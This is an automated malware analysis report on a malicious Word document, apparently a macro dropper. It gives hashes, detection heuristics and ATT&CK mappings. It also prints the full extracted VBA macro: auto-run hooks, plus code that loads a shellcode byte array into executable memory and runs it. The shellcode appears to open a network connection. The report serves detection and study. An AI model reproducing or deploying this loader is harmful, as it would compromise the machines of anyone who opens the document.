Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e2411a66ed31e3b…

MALICIOUS

Office (OLE)

34.5 KB Created: 2019-08-07 11:15:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 8d0a2dc7b133425f3d52c227f358fca5 SHA-1: 25659360ab0f81b8ea6d4b15e2c130c28ff2624a SHA-256: 8e2411a66ed31e3b9738a63f810480a61204ed8bbdc1a5114cdb78feb1488618
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of AutoOpen macros and the use of VirtualAlloc API, suggesting the execution of shellcode. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further supports its nature as a dropper. The VBA script likely downloads and executes a secondary payload, aligning with the typical behavior of a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Ewpib As Long, Hbtpw As Variant, Srqx As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4065 bytes
SHA-256: cddcbd1d11d17cfe964202a9393dded5af6bdda703f279bf8e24e795b3fd6215
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Plr As Long, ByVal Dhd As Long, ByVal Mvagbxvb As LongPtr, Qosb As Long, ByVal Xejtewja As Long, Wbahafbpo As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Dhi As Long, ByVal Uhq As Long, ByVal Rlbwgijvo As Long, ByVal Eew As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kixhmp As LongPtr, ByRef Nhyk As Any, ByVal Zge As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Plr As Long, ByVal Dhd As Long, ByVal Mvagbxvb As Long, Qosb As Long, ByVal Xejtewja As Long, Wbahafbpo As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Dhi As Long, ByVal Uhq As Long, ByVal Rlbwgijvo As Long, ByVal Eew As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Kixhmp As Long, ByRef Nhyk As Any, ByVal Zge As Long) As Long
#End If

Sub Auto_Open()
    Dim Ewpib As Long, Hbtpw As Variant, Srqx As Long
#If VBA7 Then
    Dim Qurqgru As LongPtr, Rbg As LongPtr
#Else
    Dim Qurqgru As Long, Rbg As Long
#End If
    Hbtpw = Array(72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 102, 129, 120, 24, _
11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, 0, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, 1, 0, 0, 73, 137, 229, 73, _
188, 2, 0, 17, 92, 1, 1, 1, 1, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, 1, 1, 0, 0, 89, 65, 186, 41, 128, 107, 0, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, 0, 0, 0, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, 0, 16, 0, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 65, 87, 89, 104, 0, 64, 0, 0, 65, 88, 106, 0, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, 1, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, 0, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)

    Qurqgru = VirtualAlloc(0, UBound(Hbtpw), &H1000, &H40)
    For Srqx = LBound(Hbtpw) To UBound(Hbtpw)
        Ewpib = Hbtpw(Srqx)
        Rbg = RtlMoveMemory(Qurqgru + Srqx, Ewpib, 1)
    Next Srqx
    Rbg = CreateThread(0, 0, Qurqgru, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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